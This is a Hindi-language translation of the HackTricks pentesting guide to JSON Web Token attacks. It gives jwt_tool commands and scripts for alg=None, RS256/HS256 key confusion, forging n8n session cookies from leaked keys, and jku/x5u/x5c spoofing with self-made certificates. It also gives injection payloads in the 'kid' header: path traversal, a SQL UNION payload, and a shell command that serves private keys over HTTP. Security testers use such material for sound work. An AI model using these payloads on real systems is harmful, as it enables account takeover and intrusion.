JWT कमज़ोरियाँ (Json Web Tokens)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

इस पोस्ट का एक भाग उत्कृष्ट पोस्ट पर आधारित है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
उत्कृष्ट JWT pentest टूल के लेखक https://github.com/ticarpi/jwt_tool

त्वरित नतीजे

jwt_tool को All Tests! मोड में चलाएँ और हरी पंक्तियों का इंतज़ार करें

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

यदि आप किस्मत वाले हैं तो tool कुछ ऐसे मामले ढूँढ लेगा जहाँ वेब एप्लिकेशन JWT को गलत तरीके से चेक कर रहा है:

फिर, आप अपने proxy में उस request को खोज सकते हैं या jwt_ tool का उपयोग करके उस request के लिए इस्तेमाल किए गए JWT को dump कर सकते हैं:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

बिना कुछ भी बदलें डेटा में छेड़छाड़ करें

आप सिर्फ़ डेटा में छेड़छाड़ कर सकते हैं और signature को उसी तरह छोड़कर देखें कि क्या सर्वर signature की जाँच कर रहा है। उदाहरण के लिए अपना उपयोगकर्ता नाम (username) “admin” में बदलकर देखें।

क्या token की जाँच की जा रही है?

  • एक error संदेश चल रही verification का संकेत देता है; विस्तृत त्रुटि संदेशों में संवेदनशील विवरणों की समीक्षा करनी चाहिए।
  • return हुई पृष्ठ में बदलाव भी verification का संकेत देता है।
  • कोई बदलाव न होना यह सुझाव देता है कि कोई verification नहीं हो रही; ऐसे में payload claims में छेड़छाड़ करके प्रयोग करें।

उत्पत्ति

प्रॉक्सी के request history की जाँच करके यह तय करना महत्वपूर्ण है कि token server-side में जनरेट हुआ था या client-side में।

  • यदि token सबसे पहले client side से देखा गया है तो यह संकेत देता है कि key client-side code में exposed हो सकती है, और आगे की जांच आवश्यक है।
  • यदि token server-side से originate होता है तो यह एक सुरक्षित प्रक्रिया का संकेत है।

अवधि

जाँचें कि token 24h से अधिक समय तक वैध रहता है या नहीं… हो सकता है यह कभी expire न हो। यदि “exp” फ़ील्ड मौजूद है, तो देखें कि सर्वर इसे सही तरीके से हैंडल कर रहा है या नहीं।

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

यदि किसी arbitrary file read (या backup leak) से दोनों application encryption material और user records उजागर होते हैं, तो आप कभी-कभी JWT signing secret को पुनः बना सकते हैं और बिना किसी plaintext passwords को जानने के session cookies को forge कर सकते हैं। workflow automation stacks में देखा गया उदाहरण पैटर्न:

  1. किसी config फ़ाइल से app key (उदा., encryptionKey) को Leak करें।
  2. user table को Leak करके email, password_hash, और user_id प्राप्त करें।
  3. key से signing secret निकालें, फिर JWT payload में अपेक्षित per-user hash निकालें:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. साइन किया हुआ token को session cookie (उदा., n8n-auth) में डालें ताकि आप user/admin खाते की impersonate कर सकें भले ही password hash salted हो।

Algorithm को None में बदलें

उपयोग किए गए algorithm को “None” पर सेट करें और signature भाग हटा दें।

Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).

RS256(asymmetric) algorithm को HS256(symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)

The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

यदि आप algorithm को RS256 से HS256 में बदलते हैं, तो back end code public key को secret key के रूप में उपयोग करता है और फिर HS256 algorithm से signature verify करता है।

इसके बाद, public key का उपयोग करके और RS256 को HS256 में बदलकर हम एक valid signature बना सकते हैं। आप web server का certificate प्राप्त कर सकते हैं यह कमांड चलाकर:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

New public key inside the header

एक attacker टोकन के header में एक नया key embed करता है और server इस नए key का उपयोग signature (CVE-2018-0114) को verify करने के लिए करता है।

This can be done with the “JSON Web Tokens” Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select “CVE-2018-0114” and send the request).

JWKS Spoofing

निर्देश JWT टोकनों की security का आकलन करने की एक विधि बताते हैं, खासकर उन टोकनों के लिए जो “jku” header claim का उपयोग करते हैं। यह claim उस JWKS (JSON Web Key Set) फ़ाइल का लिंक होना चाहिए जिसमें token की verification के लिए जरूरी public key होता है।

  • Assessing Tokens with “jku” Header:

  • Verify the “jku” claim’s URL to ensure it leads to the appropriate JWKS file.

  • Modify the token’s “jku” value to direct towards a controlled web service, allowing traffic observation.

  • Monitoring for HTTP Interaction:

  • Observing HTTP requests to your specified URL indicates the server’s attempts to fetch keys from your provided link.

  • When employing jwt_tool for this process, it’s crucial to update the jwtconf.ini file with your personal JWKS location to facilitate the testing.

  • Command for jwt_tool:

  • Execute the following command to simulate the scenario with jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

kid नामक एक optional header claim विशिष्ट key की पहचान के लिए उपयोग किया जाता है, जो उन परिवेशों में विशेष रूप से महत्वपूर्ण होता है जहाँ token signature verification के लिए multiple keys मौजूद होते हैं। यह claim token की signature verify करने के लिए उपयुक्त key चुनने में मदद करता है।

Revealing Key through “kid”

जब header में kid claim मौजूद हो, तो संबंधित फ़ाइल या उसके रूपांतरों के लिए web directory में खोज करने की सलाह दी जाती है। उदाहरण के लिए, अगर "kid":"key/12345" दिया गया है, तो web root में /key/12345 और /key/12345.pem फ़ाइलों की तलाश करें।

Path Traversal with “kid”

kid claim का उपयोग file system में नेविगेट करने के लिए भी किया जा सकता है, जिससे arbitrary फ़ाइल का चयन संभव हो सकता है। कनेक्टिविटी का परीक्षण करने या specific फ़ाइलों/सेवाओं को निशाना बनाकर Server-Side Request Forgery (SSRF) हमले करने के लिए kid value को बदलना संभव है। JWT को टैम्पर करके kid value बदलना जबकि original signature को बरकरार रखा जाए, jwt_tool में -T flag का उपयोग करके किया जा सकता है, जैसा नीचे दिखाया गया है:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

अनुमान योग्य सामग्री वाली फ़ाइलों को लक्षित करके, एक वैध JWT जालसाज़ी करना संभव है। उदाहरण के लिए, Linux सिस्टम में /proc/sys/kernel/randomize_va_space फ़ाइल, जो कि मान 2 रखती है, का उपयोग kid पैरामीटर में किया जा सकता है और JWT जनरेशन के लिए 2 को सिमेट्रिक पासवर्ड के रूप में उपयोग किया जा सकता है।

SQL Injection kid के माध्यम से

यदि kid claim की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो kid पेलोड को संशोधित करके SQL Injection सक्षम किया जा सकता है। JWT साइनिंग प्रक्रिया को बदलने के लिए SQL Injection का उपयोग करने वाला एक उदाहरण पेलोड है:

non-existent-index' UNION SELECT 'ATTACKER';-- -

यह परिवर्तन JWT साइनिंग के लिए ज्ञात सीक्रेट की ATTACKER के उपयोग को मजबूर करता है।

OS Injection kid के माध्यम से

ऐसी स्थिति जहाँ kid पैरामीटर एक फ़ाइल पथ निर्दिष्ट करता है जो कमांड निष्पादन संदर्भ में उपयोग होता है, Remote Code Execution (RCE) कमजोरियों का कारण बन सकती है। kid पैरामीटर में कमांड इंजेक्ट करके private keys उजागर की जा सकती हैं। RCE और की एक्सपोज़र प्राप्त करने के लिए एक उदाहरण पेलोड है:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u और jku

jku

jku का अर्थ है JWK Set URL.
यदि token “jkuHeader claim का उपयोग करता है तो दिए गए URL की जाँच करें। यह उस URL की ओर इशारा करना चाहिए जिसमें वह JWKS फ़ाइल हो जो token को verify करने के लिए Public Key रखती है। token को बदलकर jku value को उस वेब सर्विस की ओर इंगित करें जिसका ट्रैफ़िक आप मॉनिटर कर सकें।

सबसे पहले आपको नए private और public keys के साथ एक नया certificate बनाना होगा

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

फिर आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं, जिसमें बनाए गए public and private keys शामिल हों और parameter jku को बनाए गए certificate की ओर इंगित किया गया हो। वैध jku certificate बनाने के लिए आप मूल certificate डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स बदल सकते हैं।

आप सार्वजनिक certificate से “e” और “n” पैरामीटर प्राप्त कर सकते हैं, उपयोग करके:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. एक URI जो PEM फॉर्म में एन्कोड किए गए X.509 (a certificate format standard) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वही होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया था। उसके बाद के प्रमाणपत्र प्रत्येक पिछले वाले पर हस्ताक्षर करते हैं, जिससे प्रमाणपत्र चेन पूरी होती है। X.509 RFC 52807 में परिभाषित है। प्रमाणपत्रों को ट्रांसफर करने के लिए Transport security आवश्यक है।

कोशिश करें कि इस header को अपने नियंत्रण वाले एक URL पर बदलें और जांचें कि क्या कोई request प्राप्त होता है। ऐसी स्थिति में आप JWT में छेड़छाड़ कर सकते हैं

अपने नियंत्रण में मौजूद प्रमाणपत्र का उपयोग करके नया token बनाने के लिए, आपको प्रमाणपत्र बनाना होगा और public तथा private keys निकालनी होंगी:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

फिर आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं, जिसमें बनाए गए public और private keys और parameter x5u को बनाए गए certificate .crt की ओर इंगित किया गया हो।

आप इन दोनों vulns का भी दुरुपयोग कर सकते हैं for SSRFs

x5c

यह parameter में certificate in base64 हो सकता है:

यदि attacker एक self-signed certificate जनरेट करता है और संबंधित private key का उपयोग करके एक forged token बनाता है और “x5c” parameter का मान नए जनरेट किए गए certificate से बदल देता है और अन्य parameters, यानी n, e और x5t को मॉडिफाई करता है, तो मूलतः वह forged token server द्वारा स्वीकार कर लिया जाएगा।

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

यदि JWT में निम्नलिखित परिदृश्य की तरह एक embedded public key शामिल हो:

निम्न nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक public key जनरेट करना संभव है:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

नई private/public key जनरेट करना संभव है, नए public key को token के अंदर एम्बेड करके और उसे इस्तेमाल करके नई signature जनरेट की जा सकती है:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस nodejs स्क्रिप्ट का उपयोग करके “n” और “e” प्राप्त कर सकते हैं:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: Revealing the private key with same nonce

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.

  • A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.

Expiry Check of Tokens

The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.

  • A security risk may be present if the application still validates the token, as it may imply that the token could never expire.

Tools

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें